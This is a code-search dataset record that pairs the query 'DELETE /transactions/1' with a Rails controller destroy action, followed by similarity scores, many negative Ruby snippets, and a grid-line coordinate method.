[ "0.64828986", "0.6292264", "0.6239501", "0.623432", "0.6131653", "0.612898", "0.6115157", "0.61059135", "0.6091981", "0.6091981", "0.6042491", "0.60194075", "0.598672", "0.5959936", "0.5919602", "0.5894126", "0.583688", "0.58356845", "0.5809867", "0.5809867", "0.5809867", "0.5809867", "0.579435", "0.57904774", "0.57679", "0.57568914", "0.5722665", "0.5716056", "0.56739014", "0.5666203", "0.56621015", "0.5656292", "0.56484157", "0.5638705", "0.56375486", "0.56175655", "0.56170213", "0.56089336", "0.55901635", "0.55872095", "0.5572396", "0.5559867", "0.5559261", "0.5554597", "0.554187", "0.55311245", "0.55187434", "0.55187434", "0.55187434", "0.55187434", "0.55187434", "0.55187434", "0.55187434", "0.55187434", "0.55187434", "0.55187434", "0.55187434", "0.55187434", "0.55187434", "0.55187434", "0.55187434", "0.5518287", "0.5510078", "0.5505667", "0.5498906", "0.5497962", "0.5497962", "0.5497962", "0.54973435", "0.54931265", "0.54871655", "0.54865617", "0.54830307", "0.54808223", "0.54738677", "0.5465803", "0.5465803", "0.5465803", "0.5465803", "0.5465803", "0.5465803", "0.5465803", "0.5465803", "0.5465803", "0.5450556", "0.5450053", "0.5436244", "0.5422145", "0.5415607", "0.5408765", "0.5400858", "0.53945965", "0.5394095", "0.5394095", "0.5394095", "0.5394095", "0.5394095", "0.5394095", "0.5394095", "0.5394095" ]
0.6153272
4
DELETE /transactions/1 DELETE /transactions/1.xml
def destroy @transaction = Transaction.find(params[:id]) @transaction.destroy respond_to do |format| format.html { redirect_to(transactions_url) } format.xml { head :ok } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @ofx_transaction.destroy\n\n head :no_content\n end", "def destroy\n @transaction.destroy\n respond_to do |format|\n format.html { redirect_to(account_transactions_path(@account)) }\n format.xml { head :ok }\n end\n end", "def destroy\n @transaction.destroy\n respond_to do |format|\n format.html { redirect_to txns_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @tx = Tx.find(params[:id])\n @tx.destroy\n\n respond_to do |format|\n format.html { redirect_to(txes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @az_balance_transaction = AzBalanceTransaction.find(params[:id])\n @az_balance_transaction.destroy\n\n respond_to do |format|\n format.html { redirect_to(az_balance_transactions_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @account_transaction = AccountTransaction.find(params[:id])\n @account_transaction.destroy\n\n respond_to do |format|\n format.html { redirect_to(account_transactions_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @account_transaction = AccountTransaction.find(params[:id])\n @account_transaction.destroy\n\n respond_to do |format|\n format.html { redirect_to(account_transactions_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @transaction.destroy\n\n head :no_content\n end", "def destroy\n @settlement = @transaction.settlements.find(params[:id])\n @settlement.destroy\n\n respond_to do |format|\n format.html { redirect_to(client_transaction_settlements_url(@client, @transaction)) }\n format.xml { head :ok }\n end\n end", "def destroy\n @cash_transaction = CashTransaction.find(params[:id])\n @cash_transaction.destroy\n\n respond_to do |format|\n format.html { redirect_to(cash_transactions_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @transaction = Transaction.find(params[:id])\n @account = @transaction.account\n @transaction.destroy\n\n respond_to do |format|\n rd_url = url_for(@account)+ \"#end\"\n format.html { redirect_to(rd_url) }\n\n format.xml { head :ok }\n end\n end", "def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end", "def destroy\n @transaction_goods_taxis = Transaction::Goods::Taxe.find(params[:id])\n @transaction_goods_taxis.destroy\n\n respond_to do |format|\n format.html { redirect_to(transaction_goods_taxes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @transaction_detail = TransactionDetail.find(params[:id])\n @transaction_detail.destroy\n\n respond_to do |format|\n format.html { redirect_to transaction_details_url }\n format.xml { head :ok }\n end\n end", "def destroy\n Transaction.find(params[:id]).try(:destroy)\n\n head :no_content\n end", "def destroy\n @transaction = Transaction.find(params[:id])\n @transaction.destroy\n\n respond_to do |format|\n format.html { redirect_to transactions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @transaction = Transaction.find(params[:id])\n @transaction.destroy\n\n respond_to do |format|\n format.html { redirect_to transactions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @transaction = Transaction.find(params[:id])\n @transaction.destroy\n\n respond_to do |format|\n format.html { redirect_to transactions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @transaction = Transaction.find(params[:id])\n @transaction.destroy\n\n respond_to do |format|\n format.html { redirect_to transactions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @transaction = Transaction.find(params[:id])\n @transaction.destroy\n\n respond_to do |format|\n format.html { redirect_to transactions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @transaction = Transaction.find(params[:id])\n @transaction.destroy\n\n respond_to do |format|\n format.html { redirect_to transactions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @transaction = Transaction.find(params[:id])\n @transaction.destroy\n\n respond_to do |format|\n format.html { redirect_to transactions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @transaction = Transaction.find(params[:id])\n @transaction.destroy\n\n respond_to do |format|\n format.html { redirect_to transactions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @transaction = Transaction.find(params[:id])\n @transaction.destroy!\n redirect_to transactions_url\n end", "def destroy\n @transaction.destroy\n\n respond_to do |format|\n format.html { redirect_to transactions_url }\n format.json { head :no_content }\n end\n end", "def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end", "def destroy\n @transaction.destroy\n respond_to do |format|\n format.html { redirect_to transactions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @transaction.destroy\n respond_to do |format|\n format.html { redirect_to transactions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @transaction.destroy\n respond_to do |format|\n format.html { redirect_to transactions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @transaction.destroy\n respond_to do |format|\n format.html { redirect_to transactions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @transaction.destroy\n respond_to do |format|\n format.html { redirect_to transactions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @transaction.destroy\n respond_to do |format|\n format.html { redirect_to transactions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @transaction.destroy\n respond_to do |format|\n format.html { redirect_to transactions_url }\n format.json { head :no_content }\n end\n end", "def delete\n response = WebPay.client.delete(path)\n response['deleted']\n end", "def delete()\n sql = \"DELETE FROM transactions\n WHERE id = $1\"\n values = [@id]\n SqlRunner.run(sql, values)\nend", "def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end", "def destroy\n @charge_transaction = ChargeTransaction.find(params[:id])\n @charge_transaction.destroy\n\n respond_to do |format|\n format.html { redirect_to charge_transactions_url }\n format.xml { head :ok }\n end\n end", "def destroy\n @t1 = T1.find(params[:id])\n @t1.destroy\n\n respond_to do |format|\n format.html { redirect_to(t1s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @transaction_type = TransactionType.find(params[:id])\n @transaction_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(transaction_types_url) }\n format.xml { head :ok }\n end\n end", "def netdev_resxml_delete( xml )\n top = netdev_resxml_top( xml )\n par = top.instance_variable_get(:@parent)\n par['delete'] = 'delete'\n end", "def destroy\n @transaction.destroy\n respond_to do |format|\n format.html { redirect_to transactions_url, notice: \"Transação excluida com sucesso.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @transaction_request.destroy\n end", "def destroy\n @config_xml = ConfigXml.find(params[:id])\n @config_xml.destroy\n\n respond_to do |format|\n format.html { redirect_to(config_xmls_url) }\n format.xml { head :ok }\n end\n rescue ActiveRecord::RecordNotFound => e\n prevent_access(e)\n end", "def destroy\n @di_transaction = DiTransaction.find(params[:id])\n @di_transaction.destroy\n\n respond_to do |format|\n format.html { redirect_to di_transactions_url }\n format.json { head :no_content }\n end\n end", "def delete(id)\n request = Net::HTTP::Delete.new(\"#{@url}/#{id}.xml\")\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n # no response body will be returned\n case response\n when Net::HTTPSuccess\n return \"#{response.code} OK\"\n else\n return \"#{response.code} ERROR\"\n end\n end", "def delete_data(index_name)\n uri = @client.make_uri(\"/#{index_name}/update/\")\n req = HTTP::Post.new(uri)\n req.content_type = 'text/xml'\n req.body = '<delete><query>*:*</query></delete>'\n response = @client.send_http(req, true, ['200'])\n end", "def destroy\n @transaction.destroy\n respond_to do |format|\n format.html { redirect_to transactions_url, notice: \"Transaction was successfully destroyed.\" }\n end\n end", "def destroy\n @item_transaction = ItemTransaction.find(params[:id])\n @item_transaction.destroy\n\n respond_to do |format|\n format.html { redirect_to item_transactions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @transaction_financier = Transaction::Financier.find(params[:id])\n @transaction_financier.destroy\n\n respond_to do |format|\n format.html { redirect_to(transaction_financiers_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @transaction.destroy\n respond_to do |format|\n format.html { redirect_to item_transactions_url, notice: 'Transaction was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @payment_txn.destroy\n respond_to do |format|\n format.html { redirect_to payment_txns_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @transaction = Transaction.find(params[:id])\n\t@transaction.amount = @transaction.amount.abs\t\n\n\tif !@transaction.accounts_id.nil?\n\t\tif @transaction.transaction_type.name == 'Expense'\n\t\t\t@transaction.account.balance = @transaction.account.balance + @transaction.amount\n\t\telse if @transaction.transaction_type.name == 'Deposit'\n\t\t\t@transaction.account.balance = @transaction.account.balance - @transaction.amount\n\t\t\tend\n\t\tend\n\t\t@transaction.account.save\n\tend\n @transaction.destroy\n respond_to do |format|\n format.html { redirect_to(transactions_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @transaction_term = TransactionTerm.find(params[:id])\n @transaction_term.destroy\n\n respond_to do |format|\n format.html { redirect_to(transaction_terms_index_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @mi_transaction = MiTransaction.find(params[:id])\n @mi_transaction.destroy\n\n respond_to do |format|\n format.html { redirect_to mi_transactions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @transaction.destroy\n flash[:notice] = \"Transaction was successfully deleted\"\n redirect_to user_transactions_path(@user)\n end", "def destroy\n @transaction_group = TransactionGroup.find(params[:id])\n @transaction_group.destroy\n\n respond_to do |format|\n format.html { redirect_to(transaction_groups_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @transaction.destroy\n respond_to do |format|\n format.html { redirect_to transactions_url, notice: 'Transaction was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @transaction.destroy\n respond_to do |format|\n format.html { redirect_to transactions_url, notice: 'Transaction was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @transaction.destroy\n respond_to do |format|\n format.html { redirect_to transactions_url, notice: 'Transaction was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @transaction.destroy\n respond_to do |format|\n format.html { redirect_to transactions_url, notice: 'Transaction was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @transaction.destroy\n respond_to do |format|\n format.html { redirect_to transactions_url, notice: 'Transaction was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @transaction.destroy\n respond_to do |format|\n format.html { redirect_to transactions_url, notice: 'Transaction was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @transaction.destroy\n respond_to do |format|\n format.html { redirect_to transactions_url, notice: 'Transaction was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @transaction.destroy\n respond_to do |format|\n format.html { redirect_to transactions_url, notice: 'Transaction was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @transaction.destroy\n respond_to do |format|\n format.html { redirect_to transactions_url, notice: 'Transaction was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @transaction.destroy\n respond_to do |format|\n format.html { redirect_to transactions_url, notice: 'Transaction was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @transaction.destroy\n respond_to do |format|\n format.html { redirect_to transactions_url, notice: 'Transaction was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @transaction.destroy\n respond_to do |format|\n format.html { redirect_to transactions_url, notice: 'Transaction was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @transaction.destroy\n respond_to do |format|\n format.html { redirect_to transactions_url, notice: 'Transaction was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @transaction.destroy\n respond_to do |format|\n format.html { redirect_to transactions_url, notice: 'Transaction was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @transaction.destroy\n respond_to do |format|\n format.html { redirect_to transactions_url, notice: 'Transaction was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @transaction.destroy\n respond_to do |format|\n format.html { redirect_to accounts_url, notice: 'Transaction was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @client_transaction = ClientTransaction.find(params[:id])\n @client_transaction.destroy\n\n respond_to do |format|\n format.html { redirect_to client_transactions_url }\n format.json { head :ok }\n end\n end", "def destroy\n @transaction = Transaction.find(params[:id])\n @transaction.destroy\n\n respond_to do |format|\n format.html { redirect_to session[:return_to], alert: 'Transaction was deleted.' }\n format.json { render json: true }\n end\n end", "def destroy\n @balance = Balance.find(params[:id])\n @balance.destroy\n\n respond_to do |format|\n format.html { redirect_to(balances_url) }\n format.xml { head :ok }\n end\n end", "def delete\n client.delete(\"/#{id}\")\n end", "def destroy\n @transaction_entry = TransactionEntry.find(params[:id])\n @transaction_entry.destroy\n\n respond_to do |format|\n format.html { redirect_to transaction_entries_url }\n format.json { head :no_content }\n end\n end", "def destroy1\n @todo = Todo.find(params[:id])\n @todo.destroy\n\n respond_to do |format|\n format.html { redirect_to(todos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @transaction_group_item = TransactionGroupItem.find(params[:id])\n @transaction_group_item.destroy\n\n respond_to do |format|\n format.html { redirect_to(transaction_group_transaction_group_items_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @bitcoin_transaction.destroy\n respond_to do |format|\n format.html { redirect_to bitcoin_transactions_url, notice: 'Bitcoin transaction was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @browsenodeid = Browsenodeid.find(params[:id])\n @browsenodeid.destroy\n\n respond_to do |format|\n format.html { redirect_to(browsenodeids_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @transaction.destroy\n respond_to do |format|\n format.html do\n redirect_to transactions_url,\n notice: 'Transaction was successfully destroyed.'\n end\n format.json { head :no_content }\n end\n end", "def delete\n start { |connection| connection.request http :Delete }\n end", "def destroy\n @transaction.destroy\n respond_to do |format|\n format.html { redirect_to polymorphic_path([@source, :transactions]), notice: 'Transaction was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @dbs_deposit = DbsDeposit.find(params[:id])\n @dbs_deposit.destroy\n\n respond_to do |format|\n format.html { redirect_to(dbs_deposits_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @shop_transaction = Shop::Transaction.find(params[:id])\n @shop_transaction.destroy\n\n respond_to do |format|\n format.html { redirect_to shop_transactions_url }\n format.json { head :ok }\n end\n end", "def destroy\n @recent_transaction = RecentTransaction.find(params[:id])\n @recent_transaction.destroy\n\n respond_to do |format|\n format.html { redirect_to recent_transactions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @stats_money_transaction = Stats::MoneyTransaction.find(params[:id])\n @stats_money_transaction.destroy\n\n respond_to do |format|\n format.html { redirect_to stats_money_transactions_url }\n format.json { head :ok }\n end\n end", "def destroy\n @tx.destroy\n respond_to do |format|\n format.html { redirect_to txes_url, notice: 'Tx was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def release(account, merchant, transaction_id)\n delete \"/#{CGI::escape(account)}/transactions/#{transaction_id}\" + \"?merchant=#{merchant}\"\n expect_status! 'CANCELLED'\n end", "def destroy\n cust = @transaction.customer\n cust.balance = cust.balance - @transaction.amount\n cust.lastmodified = Time.now\n\n @transaction.destroy\n respond_to do |format|\n cust.save\n format.html { redirect_to cust }\n format.json { head :no_content }\n end\n end", "def destroy\n @trx_detail = TrxDetail.find(params[:id])\n @trx_detail.destroy\n\n respond_to do |format|\n format.html { redirect_to trx_details_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @amount = Amount.find(params[:id])\n @amount.destroy\n\n respond_to do |format|\n format.html { redirect_to(amounts_url) }\n format.xml { head :ok }\n end\n end", "def delete\n request(:delete)\n end" ]
[ "0.69875777", "0.6934482", "0.6894745", "0.68470645", "0.68137884", "0.6780348", "0.6780348", "0.67132914", "0.6713033", "0.6693506", "0.6670941", "0.6650875", "0.66431856", "0.6611998", "0.65827644", "0.65675336", "0.65675336", "0.65675336", "0.65675336", "0.65675336", "0.65675336", "0.65675336", "0.65675336", "0.655563", "0.65413237", "0.6529711", "0.65223205", "0.65223205", "0.65223205", "0.65223205", "0.65223205", "0.65223205", "0.65223205", "0.64819866", "0.64498293", "0.6439779", "0.64224327", "0.6395075", "0.6359076", "0.63304734", "0.63248914", "0.6323976", "0.6311577", "0.6298538", "0.62562853", "0.6253223", "0.6239473", "0.6238769", "0.62338346", "0.6228881", "0.622017", "0.62188673", "0.6214776", "0.62105066", "0.6209191", "0.62044585", "0.62030995", "0.62030995", "0.62030995", "0.62030995", "0.62030995", "0.62030995", "0.62030995", "0.62030995", "0.62030995", "0.62030995", "0.62030995", "0.62030995", "0.62030995", "0.62030995", "0.62030995", "0.6202258", "0.62006354", "0.6194859", "0.61875504", "0.61863667", "0.6180771", "0.6154547", "0.6152302", "0.61505926", "0.61403686", "0.6139357", "0.61378014", "0.61322063", "0.6127935", "0.61276454", "0.61275285", "0.611516", "0.6112591", "0.61024255", "0.6096756", "0.60916454", "0.6078647", "0.6075013" ]
0.7069271
6
== script TODO: no .rb ?
def files @files.map do |file| if File.directory?(file) Dir[File.join(file, '**', '*.rb')] else file end end.flatten end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def script; end", "def script; end", "def script=(_arg0); end", "def usage\n\tputs \"ruby unicorn2vba.rb unicornOutputFileHere\" \nend", "def script\n\t\tputs \"You should extend script()\"\n\tend", "def load_script(file); end", "def dofile(file,output)\r\n # we are using the fact that the path will be given by \\ in command line, so / is added by ruby\r\n filename=file[file.index(\"/\")+1..file.size]\r\n output.puts \"*** START: [\"+filename+\"] ***\\n\"\r\n IO.foreach(file) do |line|\r\n output.puts line.lstrip if (line=~/^\\s*import\\s+/ or line=~/from\\s+\\w+\\s+import\\s+/) and not (line=~/^\\s*#/)\r\n output.puts \"! Dynamic import !\\n\" if line=~/__import__/\r\n end\r\n output.puts \"*** END: [\"+filename+\"] ***\\n\"\r\nend", "def script_load(script); end", "def program; end", "def main; end", "def usage\n puts \"usage: isf2asc.rb isf_filename\"\nend", "def run(filename, options) end", "def read_script\n DATA.readlines.collect { |line|\n line = line.chomp.delete(\"\\t\").delete(\"\\n\")\n line = \"-e '#{line}' \"\n }.join\nend", "def eval script\n # native function. this stub is for documenting only\n end", "def eval_file; end", "def cmd; end", "def exec; end", "def exec; end", "def main\n\n end", "def app_script_text(bin_file_name)\n <<-TEXT\n#\n# This file was generated by RubyGems.\n#\n# The application '#{@spec.name}' is installed as part of a gem, and\n# this file is here to facilitate running it.\n#\n\nrequire 'rubygems'\n\nversion = \"#{Gem::Requirement.default}\"\n\nif ARGV.first =~ /^_(.*)_$/ and Gem::Version.correct? $1 then\n version = $1\n ARGV.shift\nend\n\ngem '#{@spec.name}', version\nload Gem.bin_path('#{@spec.name}', '#{bin_file_name}', version)\nTEXT\n end", "def main\n end", "def create_health_script file\n contents = <<EOF\n#!/bin/bash\nf1=static.cfg\nf2=runtime.cfg\nf3=prefs.cfg\nif [[ ! (-e $f1 && -e $f2 && -e $f3) ]]; then\n echo \"files missing, no, it's not good :-(\"\n exit 1\nfi\nSTATIC=$(grep \".*\" $f1)\nRUNTIME=$(grep \".*\" $f2)\nPREFS=$(grep \".*\" $f3)\nif [[ (\"$STATIC\" == \"ncores=4\") && (\"$RUNTIME\" == \"memory=1024\") && (\"$PREFS\" == \"folder=home\") ]]; then\n echo \"yes, it's good :-)\"\nelse\n echo \"no, it's not good :-(\"\n exit 2\nfi\nEOF\n File.open file, \"w\" do |f|\n f.puts contents\n end\n File.chmod(0744, file)\nend", "def script(script_file)\n load script_file\n\n self\n end", "def usage\n puts \"Usage: akaza exec|wsrb|exec_wsrb FILE_NAME\"\nend", "def get_script\n script = gets\n script.gsub!(/\\n$/, '')\n\n script = script.gsub(/([.<>])/, '-\\1').split('-')[1..-1]\n script = script.map { |scene| [scene[0], scene[1..-1]] }\n script\nend", "def source(filename); end", "def write_script(s)\n eval_depth(s[1])\n name = s[1].strip\n path = @dir.join \"/\"\n name = add_script(path, name)\n FileTools.write(path + \"/\" + name + \".rb\", s[2])\n end", "def script(subcommand, *args); end", "def script(subcommand, *args); end", "def help\n puts \"#{$0} - parses EIS binary formatted files\"\nend", "def run(robot, script)\n\nend", "def script\n @source\n end", "def get_filecode()\n \"__EMIT_#{ARGV[0].gsub(/[^\\w]/, \"_\").upcase}__\"\nend", "def command; end", "def command; end", "def command; end", "def command; end", "def command; end", "def command; end", "def run; end", "def run; end", "def run; end", "def run; end", "def run; end", "def run; end", "def run; end", "def run; end", "def run; end", "def copy_script\n\n end", "def autorun; end", "def defaultScript(file)\n mylog = Logger[Ciowa_log]\n \n #name = /.*\\/(.+)\\.(view|vew|html|htm)/.match(file.path)[1]\n name = @@view_file_regex.match(file.path)[1]\n r = ''\n \n my_docroot = @docroot\n my_docroot << C_slash unless my_docroot[-1,1] == C_slash\n my_docroot_minus_slash = my_docroot.sub(/\\/$/,C_empty)\n filepath = file.path\n filepath = filepath.sub(/#{my_docroot}/,C_empty)\n \n path_parts = filepath.split(C_slash)\n # Knock the filename off of the array.\n path_parts.pop\n # And put the docroot path onto the beginning of the array.\n path_parts.unshift my_docroot_minus_slash\n df_found = nil\n search_path = ''\n while path_parts.length > 0\n search_path << \"#{path_parts.shift}/\"\n default_script_file = search_path + 'DefaultScriptFile.iwa'\n default_script_file.gsub(/\\/\\//,C_slash)\n if FileTest.exists? default_script_file\n df_found = default_script_file\n end\n end\n \n if df_found\n File.open(df_found,'r') do |fh|\n fh.each {|line| r << line}\n end\n mylog.info \"Loaded #{df_found} for script file for #{file.path}\"\n else\n r << \"<%class [--CLASSNAME--] < Iowa::Component; end%>\"\n df_found = 'INTERNAL'\n mylog.info \"Used basic scriptfile for #{file.path}\"\n end\n \n r = r.gsub(/\\[--CLASSNAME--\\]/,name)\n [r,df_found]\n end", "def to_ruby\n%{#!#{ File.join(rbconfig('bindir'), rbconfig('ruby_install_name')) }\n#\n# This file was generated by MicroGem (µgem).\n#\n# The application '#{@bin_name}' is installed as part of a gem, and\n# this file is here to facilitate running it.\n\nrequire 'rubygems'\n\nversion = \"> 0\"\nif ARGV.first =~ /^_(.*)_$/ and Gem::Version.correct? $1 then\n version = $1\n ARGV.shift\nend\n\ngem '#{@gem_name}', version\nload '#{@bin_name}'\n}\n end", "def ruby_script(host, command_lines, options = {})\n raise RuntimeError, \"abstract function: must be implemented on includer\"\n end", "def cli_execute_make_transform_scaffold\n File.open(File.dirname(__FILE__)+'/data/transform_template.rb.tmpl','r') do |f|\n body = f.readlines.join('')\n body.gsub!('%%timestamp%%',Time.now.strftime(\"%a, %d %b %Y\"));\n body.gsub!('%%app name%%',cli_program_name);\n STDOUT.syswrite body\n end\n end", "def user_data \n erb = ERB.new(File.open(\"scripts/user_data.sh.erb\").read)\n erb.result binding\nend", "def dotfile()\nend", "def transcode_script_header\n <<~HEREDOC\n #!/bin/sh\n\n # Check this file, make any changes, and save it. Execute it directly,\n # or execute it with the sh command if it's not executable.\n\n set -e\n\n HEREDOC\n end", "def argv; end", "def ruby_script(command_lines)\n command = \"#{EMBEDDED_RUBY_PATH} -e \\\"#{command_lines.join(';')}\\\"\"\n run(command)\n end", "def run_script_stage2(script)\n eval(IO.read(script))\n end", "def execute_script(filename)\n\tif File.exist?(filename) \n\t\t execute_query File.read(filename),\n\t\t\t{ :db_name => @properties[\"ml.content-db\"] }\t\t\t\n\t\t\tlogger.info \"Executed script #{filename} successfully\"\n\telse\n\t\tlogger.info \"#{filename} does not exist\"\t\n\tend\n end", "def commands; end", "def base_script\n base_language.standard_script\n end", "def main\n\nend", "def run file_name \n\t\tapplication = select_app file_name \n\t\tsystem \"#{application} #{file_name}\" \n\tend", "def get_file()\n puts(\"Please enter a file path: \")\n for arg in ARGV\n \tname = arg\n end\n print meta_data(name)\n name\nend", "def script(*args)\n if args.empty?\n @script\n elsif args.length == 1\n @script = _strip(args.first)\n else\n raise ArgumentError, 'script expects 0 or 1 argument'\n end\n end", "def script_contents\n @script_contents ||= File.read(File.join(SCRIPT_ROOT, \"#{@name}.lua\"))\n end", "def script_settings_files_def\nend", "def filename; end", "def filename; end", "def filename; end", "def filename; end", "def filename; end", "def filename; end", "def filename; end", "def filename; end", "def filename; end", "def filename; end", "def filename; end", "def filename; end", "def filename; end", "def filename; end", "def whereami() [__FILE__] end", "def get_version(script)\n file_array = IO.readlines script\n version = file_array.grep(/^# Version/)[0].split(\":\")[1].gsub(/^\\s+/,'').chomp\n packager = file_array.grep(/^# Packager/)[0].split(\":\")[1].gsub(/^\\s+/,'').chomp\n name = file_array.grep(/^# Name/)[0].split(\":\")[1].gsub(/^\\s+/,'').chomp\n return version,packager,name\nend", "def generate_submit_script(args)\n jobpath = Pathname.new(jobdir)\n input_deck = Pathname.new(args[:input_deck]).basename\n pv_script = jobpath + \"#{prefix}.py\"\n submit_script = jobpath + \"#{prefix}.sh\"\n shell_cmd = `which bash`.strip\n ruby_cmd = `which ruby`.strip\n current_directory = `pwd`.strip\n lib_directory = Pathname.new(current_directory) + \"lib\"\n csv2vtu_script = lib_directory + \"csv2vtu.rb\"\n File.open(submit_script, 'w') do |f|\n f.puts \"#!#{shell_cmd}\"\n\n f.puts \"#PBS -S #{shell_cmd}\"\n f.puts \"#PBS -N #{prefix}\"\n f.puts \"#PBS -l nodes=#{nodes}:ppn=#{processors}\"\n f.puts \"#PBS -j oe\"\n f.puts \"module load openmpi/gcc/64/1.10.1\"\n f.puts \"machines=`uniq -c ${PBS_NODEFILE} | \" \\\n \"awk '{print $2 \\\":\\\" $1}' | paste -s -d ':'`\"\n f.puts \"cd ${PBS_O_WORKDIR}\"\n f.puts \"#{ANSYS_EXE} -b -dis -machines $machines -i #{input_deck}\"\n\n f.puts \"#{ruby_cmd} #{csv2vtu_script} \\\"#{jobpath}\\\" \\\"#{prefix}\\\" \" \\\n \"1 \\\"#{modes}\\\"\"\n\n f.puts \"#{MPI_EXE} -np #{processors * nodes} #{PARAVIEW_EXE} #{pv_script}\"\n end\n\n submit_script.exist? ? submit_script : nil\n end", "def loadScripts\n load \"su2dslib/preferences.rb\"\n load \"su2dslib/exportbase.rb\"\n load \"su2dslib/interface.rb\"\n load \"su2dslib/numeric.rb\"\n load \"su2dslib/material.rb\"\n load \"su2dslib/radiance_entities.rb\"\n load \"su2dslib/radiancescene.rb\"\n load \"su2dslib/location.rb\"\n load \"su2dslib/resultsgrid.rb\"\nend", "def run\n end", "def run_init_script; end", "def show_usage_and_exit\r\n puts 'Usage:', 'verifier.rb *filename* file should be a blockchain.txt file'\r\n exit 1\r\nend", "def file; end", "def file; end", "def file; end", "def file; end", "def file; end", "def file; end", "def file; end", "def file; end", "def file; end", "def file; end", "def file; end" ]
[ "0.7934586", "0.7934586", "0.66269857", "0.6520831", "0.65111464", "0.6409942", "0.62592816", "0.62491566", "0.61505985", "0.61476964", "0.61097383", "0.61018765", "0.6058533", "0.605386", "0.6053611", "0.60386145", "0.60239977", "0.60239977", "0.5978081", "0.5973817", "0.59418756", "0.592539", "0.5918245", "0.59140044", "0.5907995", "0.58994055", "0.5870275", "0.5869707", "0.5869707", "0.58241427", "0.5794357", "0.5770364", "0.5760306", "0.57521343", "0.57521343", "0.57521343", "0.57521343", "0.57521343", "0.57521343", "0.5746546", "0.5746546", "0.5746546", "0.5746546", "0.5746546", "0.5746546", "0.5746546", "0.5746546", "0.5746546", "0.5722284", "0.5709912", "0.57069033", "0.5684183", "0.5683539", "0.567824", "0.5667664", "0.56321096", "0.5631976", "0.5630967", "0.56268334", "0.56178755", "0.5616617", "0.56136614", "0.5611839", "0.561181", "0.5603703", "0.5584267", "0.55763316", "0.5563107", "0.5547841", "0.5545213", "0.5545213", "0.5545213", "0.5545213", "0.5545213", "0.5545213", "0.5545213", "0.5545213", "0.5545213", "0.5545213", "0.5545213", "0.5545213", "0.5545213", "0.5545213", "0.55403066", "0.55364", "0.5536242", "0.5528976", "0.5526236", "0.55021006", "0.5497297", "0.5495986", "0.5495986", "0.5495986", "0.5495986", "0.5495986", "0.5495986", "0.5495986", "0.5495986", "0.5495986", "0.5495986", "0.5495986" ]
0.0
-1
Generates the line starting with coordinate [x,y]. It calls the block to find the next position in the line. It can be used to generate snake lines if necessary.
def get_line_coords(x, y) line = [[x,y]] loop do next_x, next_y = yield x, y @box[next_x] && @box[next_x][next_y] ? line << [next_x, next_y] : break x, y = next_x, next_y end line end
